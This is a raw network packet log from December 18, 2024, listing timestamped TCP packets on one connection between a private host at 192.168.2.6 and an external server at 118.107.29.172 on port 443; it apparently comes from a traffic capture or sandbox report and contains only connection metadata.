Dec 18, 2024 13:35:44.770066977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.775903940 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.775928974 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.775958061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.775966883 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.775990009 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.776005983 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.781996012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.782018900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.782066107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.782085896 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.782109976 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.782125950 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.788726091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.788752079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.788785934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.788808107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.788821936 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.789093971 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.794811010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.794837952 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.794879913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.794894934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.794909954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.794929981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.922641993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.922688007 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.922758102 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.922797918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.922830105 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.922929049 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.929228067 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.929251909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.929308891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.929328918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.929352045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.929362059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.957077026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.957115889 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.957171917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.957195044 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.957221031 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.957236052 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.962636948 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.962658882 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.962694883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.962706089 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.962732077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.962748051 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.968089104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.968111038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.968147993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.968157053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.968180895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.968202114 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.973998070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.974021912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.974062920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.974070072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.974104881 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.981036901 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.981056929 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.981095076 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.981102943 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.981126070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.981142998 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.986802101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.986845016 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.986877918 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.986896992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:44.986912966 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:44.986943007 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.114830017 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.114856005 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.114898920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.114931107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.114950895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.115067959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.120630026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.120651007 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.120687008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.120714903 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.120732069 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.120790005 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.149029970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.149055004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.149096966 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.149127007 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.149200916 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.149213076 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.154865980 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.154889107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.154943943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.154968977 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.154983044 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.155234098 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.160839081 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.160861015 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.160923958 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.160938025 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.160959005 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.160974979 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.166543961 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.166567087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.166604996 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.166618109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.166634083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.166662931 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.173666000 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.173686981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.173727036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.173744917 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.173759937 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.173796892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.179208994 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.179236889 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.179253101 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.179303885 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.179311037 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.179368973 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.307435036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.307461023 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.307511091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.307544947 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.307559967 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.307881117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.312575102 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.312593937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.312638044 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.312648058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.312679052 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.312695026 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.342135906 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.342156887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.342221022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.342237949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.342261076 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.342278957 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.347234011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.347253084 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.347301960 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.347311020 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.347351074 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.347872019 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.352982044 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.352999926 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.353055000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.353061914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.353111029 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.358889103 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.358912945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.358972073 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.358978987 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.359009027 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.365860939 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.365883112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.365931034 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.365940094 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.365974903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.371073008 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.371090889 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.371129036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.371134996 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.371177912 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.500897884 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.500922918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.500983953 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.501018047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.501032114 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.501068115 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.505124092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.505158901 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.505198002 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.505206108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.505233049 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.505245924 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.533941031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.533982038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.534024000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.534055948 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.534075975 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.534097910 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.539835930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.539868116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.539944887 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.539973021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.539988995 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.540014982 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.544939041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.544965982 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.544996023 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.545017004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.545042992 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.545058966 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.550883055 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.550916910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.550944090 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.550965071 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.550978899 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.551043034 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.558396101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.558417082 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.558463097 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.558480978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.558501005 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.558527946 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.563592911 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.563615084 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.563688993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.563714027 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.563777924 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.692429066 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.692477942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.692532063 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.692567110 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.692584038 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.692763090 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.697628975 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.697652102 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.697695971 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.697706938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.697730064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.697743893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.726181984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.726208925 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.726260900 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.726279020 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.726293087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.726314068 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.732050896 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.732078075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.732110023 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.732116938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.732156992 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.736984015 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.737009048 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.737039089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.737047911 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.737075090 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.737091064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.742856026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.742877960 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.742911100 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.742917061 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.742933989 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.742950916 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.750247955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.750269890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.750305891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.750330925 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.750343084 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.750411034 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.755661011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.755682945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.755734921 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.755744934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:45.755775928 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:45.755781889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.035768032 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.035855055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036036968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036102057 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036184072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036210060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036237001 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036247969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036263943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036282063 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036295891 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036313057 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036338091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036343098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036367893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036384106 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036391020 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036412954 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036439896 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036448002 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036483049 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036484957 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036505938 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036509991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036523104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036536932 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036571026 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036588907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036607027 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036632061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036638021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036655903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036668062 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036672115 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036679983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036700964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036711931 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036722898 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036741972 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036758900 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036773920 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036797047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036822081 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036827087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.036850929 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.036878109 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.077455997 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.077497959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.077548027 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.077588081 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.077603102 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.078167915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.082622051 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.082653999 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.082685947 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.082701921 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.082722902 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.082737923 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.111530066 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.111569881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.111629963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.111650944 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.111668110 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.111856937 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.117290020 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.117322922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.117351055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.117357969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.117387056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.117403030 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.122826099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.122863054 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.122893095 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.122901917 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.122924089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.122942924 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.127794981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.127824068 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.127882004 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.127891064 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:46.127929926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:46.134526968 CET	443	49728	118.107.29.172	192.168.2.6
